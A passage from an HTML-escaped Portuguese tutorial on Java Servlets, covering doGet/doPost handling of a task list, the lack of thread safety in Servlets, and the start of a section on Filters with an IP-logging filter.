            &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Tarefa B&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Tarefa C&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;doGet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tarefas&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tarefas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token class-name&quot;&gt;RequestDispatcher&lt;/span&gt; rd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRequestDispatcher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/WEB-INF/index.jsp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        rd&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forward&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;doPost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note a alteração em &lt;code class=&quot;language-text&quot;&gt;List&amp;lt;Tarefa&gt; tarefas&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Com a seguinte adição de código ao método &lt;code class=&quot;language-text&quot;&gt;doPost&lt;/code&gt; temos um protótipo que atinge o seu objetivo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;doPost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt; tarefa &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Tarefa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getParameter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;nome&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    tarefas&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tarefa&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tarefas&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tarefas&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;RequestDispatcher&lt;/span&gt; rd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRequestDispatcher&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/WEB-INF/index.jsp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    rd&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forward&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Executando o &lt;em&gt;Maven&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;mvn clean tomcat7:run&lt;/code&gt;), e através do endereço &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080&lt;/code&gt;, somos capazes de ver o resultado:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 400px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5d23ead2544a53efb33934e0b7ae9c7a/e17e5/java-post-browser.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAABYlAAAWJQFJUiTwAAABd0lEQVQoz72S7UvCQBzH909FIk7Np3xCfBjqQutFEEn/WUEPSEIFQZqv3Gi1uanQpktlCBKZzrm5XWdqFEi1XvTle8dxx+d+v+9xyGYY3/Bha9aA1RFx+jB3IIW643ZP3OaKoe6Yw5tw+ZN2d9zpxVBXzIKGLWho3RacG8G3D1KZnCeQDkaz4fgOtrXvj2R8obQnmPKG8AS+l8rmosldeOoL4fA6+ycjl1fXh0fHJ6f5s3zhvHBxUywz1VqVq7Nsg+XqTJWjGW62w9ZZrsHVvhgRxVa5fFsqFUmSgPM9dQd+LcSYC4ApABq0Acaa8WFtanwjRJIkhn4QOr1HUeJbnZGqy5ohv5OvqvGi6J32U7fb1XV9RWVdNyaTiTxWes/D/kAeqsZoabjWdKBpmqqqq9uGQ1EUnueJSqXGcbI8MpF5DjebTYIgaJoeDAamYVEUKYpqt9srs/0AC4JAkmS/3wdmNIPhg0EMxjbV8wL+sxbw8qeA/6v8BnzyEiea5+ulAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de POST&quot;
        title=&quot;Exemplo de POST&quot;
        src=&quot;/static/5d23ead2544a53efb33934e0b7ae9c7a/e17e5/java-post-browser.png&quot;
        srcset=&quot;/static/5d23ead2544a53efb33934e0b7ae9c7a/8514f/java-post-browser.png 192w,
/static/5d23ead2544a53efb33934e0b7ae9c7a/804b2/java-post-browser.png 384w,
/static/5d23ead2544a53efb33934e0b7ae9c7a/e17e5/java-post-browser.png 400w&quot;
        sizes=&quot;(max-width: 400px) 100vw, 400px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de POST&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ao analisar o código acima, além das possibilidades de melhoria de código (como reaproveitar o
&lt;code class=&quot;language-text&quot;&gt;req.getRequestDispatcher(&quot;/WEB-INF/index.jsp&quot;)&lt;/code&gt; ao invés de duplicá-lo, ou fazer um &lt;code class=&quot;language-text&quot;&gt;redirect&lt;/code&gt;),
há algo muito importante que precisa ser salientado: &lt;em&gt;Servlets&lt;/em&gt; não são &quot;thread safe&quot;.&lt;/p&gt;
&lt;h2&gt;Don&apos;t repeat yourself&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/servlets/#uma-nica-instncia-de-cada-servlet&quot; title=&quot;Leia mais na apostila da Caelum&quot;&gt;material da &lt;em&gt;Caelum&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;De acordo com a especificação de Servlets, por padrão, existe uma única instância de cada Servlet declarada. Ao chegar
uma requisição para a Servlet, uma nova Thread é aberta sobre aquela instância que já existe.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Isso significa que, se colocássemos em nossa Servlet uma variável de instância, ela seria compartilhada entre todas
as threads que acessam essa Servlet! Em outras palavras, seria compartilhado entre todas as requisições e todos os
clientes enxergariam o mesmo valor. Provavelmente não é o que queremos fazer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nosso protótipo está pronto, e a brincadeira com o atributo de instância nos permitiu interagir com o método &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Se quisermos seguir em frente e tornar a aplicação mais &quot;production ready&quot;, outros
aspectos terão que ser considerados, como persistência, segurança, validação de dados, modularidade, e não podemos esquecer
desses detalhes como a natureza &lt;em&gt;multithreading&lt;/em&gt; que envolve o &lt;em&gt;Java&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1a27dd338f27cf4defade1b51f89730c/50383/dodge-this.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQozwGfAmD9AKzC0r7a6Lva6M7o8OH09+v4+fT+/tzm5enu7fv//6mvsnBucaq9xpyutnRxddXX2f////z8+/7///P8/QAzPU2Ak52709ra9vbn/v72///Y3d9wbnKinpz///+6vL2TlpSzys2dr7eCfoW3vcTR2d7m7u/Z4uTX5usACAgXFhcoMTVCZW1xlJ2YqKyqgXp/a2VofXh53OXhvMfEtsfDtsjHn622f3iBSUFKOC05qbm7gYaKk5eeABIRHignMS0sLiMiJTQzNDw6OU5KSWJcVl9dVF5hWW9ybJCWmH99hIiIi1E8OFZCOD0yM4OEh3x8fXxycAARERsgICUnJykmJSYkJCkhISUkIiUpJiVAPzhCQT48ODeGg391cXZ6c2tzV0d4X0xFNzZIOT1QQUJsX1kAFxUaNDAvODEvGRgaKCQnKCUlJSIhRDs3NjAwJCQnNjIxg29ttaypqKuln4FqnYp2c2ptW1JQXFJQfHNsAEQ/QFVRS1RQRUtMOFZXQWhoWisoKWthWnRUTxkTGBQRGmY6M76omtrV0XVeTGpdVI6IfcDCvru/vr6/vQBrbFhkZk9rbVqKjYKlqqrO1uVobXJPSUJ8XlFaOzRPLSmVcVeqlGuahWYWEhYAABYyMTa+vry9vb+6urcAeXh1nZyhuLrIyc7hy9HlxtDkxMzewsfaiIB8TSogeEo0jXJXuLewRUE8BwcPExUiQEFBsbOwu7u4trawAMnJ28zM3sjK3MXH18PH1sHI2cfQ49Pe97q+ylpBNGA5JZiTjM/d8GltbAkHDB0cIWZgTbayprq7trO0qwDBvsm+vse7u8G6ur+7u8G+v8i/v8q9v8zDydm7vsi3tr3AxtPN1N2Gi4gBAQkODxhkYFCnoJG5urSwsqdu6FGLb3JrKwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Trinity em The Matrix&quot;
        title=&quot;Fazer algo funcionar na plataforma JavaEE parece como a Trinity acertando um agente em Matrix (vulturehound.co.uk)&quot;
        src=&quot;/static/1a27dd338f27cf4defade1b51f89730c/50383/dodge-this.png&quot;
        srcset=&quot;/static/1a27dd338f27cf4defade1b51f89730c/8514f/dodge-this.png 192w,
/static/1a27dd338f27cf4defade1b51f89730c/804b2/dodge-this.png 384w,
/static/1a27dd338f27cf4defade1b51f89730c/50383/dodge-this.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Fazer algo funcionar na plataforma JavaEE parece como a Trinity acertando um agente em Matrix (vulturehound.co.uk)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E se nesse momento você ainda está disposto a fazer isso &quot;all by yourself&quot;, reconsidere. Para fins de aprendizado,
esse tipo de experimento é ótimo mas nada produtivo, portanto, considere o uso de algum &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Para finalizar: Filters &amp;#x26; Listeners&lt;/h2&gt;
&lt;p&gt;Mas calma! Há dois tópicos que valem a pena ser compreendidos antes de pular para o uso de algum &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Diretamente de uma &lt;a href=&quot;https://stackoverflow.com/questions/4720942/difference-between-filter-and-listener-in-servlet-java-ee&quot; title=&quot;Difference between Filter and Listener&quot;&gt;&lt;em&gt;thread&lt;/em&gt; do &lt;em&gt;StackOverflow&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Servlet Filter is used for monitoring request and response from client to the servlet, or to modify the request and
response, or to audit and log.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Servlet Listener is used for listening to events in a web containers, such as when you create a session, or place an
attribute in an session or if you passivate and activate in another container, to subscribe to these events you can
configure listener in web.xml, for example HttpSessionListener.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Filtros:&lt;/strong&gt; Usados para interagir com a requisição e com a resposta.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Listeners:&lt;/strong&gt; Usados para interagir com eventos que acontecem dentro de um &lt;em&gt;container&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Filters&lt;/h3&gt;
&lt;p&gt;Assim como a interface &lt;code class=&quot;language-text&quot;&gt;Servlet&lt;/code&gt;, possuímos uma interface para a escrita de filtros. O propósito do filtro abaixo é
&quot;logar&quot; o endereço &lt;em&gt;IP&lt;/em&gt; do usuário que está realizando a requisição:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/main/java/webapp/LogFilter.java&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;webapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;java&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;io&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;java&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;util&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;FilterChain&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;FilterConfig&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletRequest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;annotation&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;WebFilter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token annotation punctuation&quot;&gt;@WebFilter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;LogFilter&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Filter&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;FilterConfig&lt;/span&gt; filterConfig&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// vazio&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletRequest&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletResponse&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FilterChain&lt;/span&gt; chain&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; ipAddress &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRemoteAddr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; now &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token class-name&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;IP: %s; Time: %s&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ipAddress&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; now&lt;span class=&quot;token 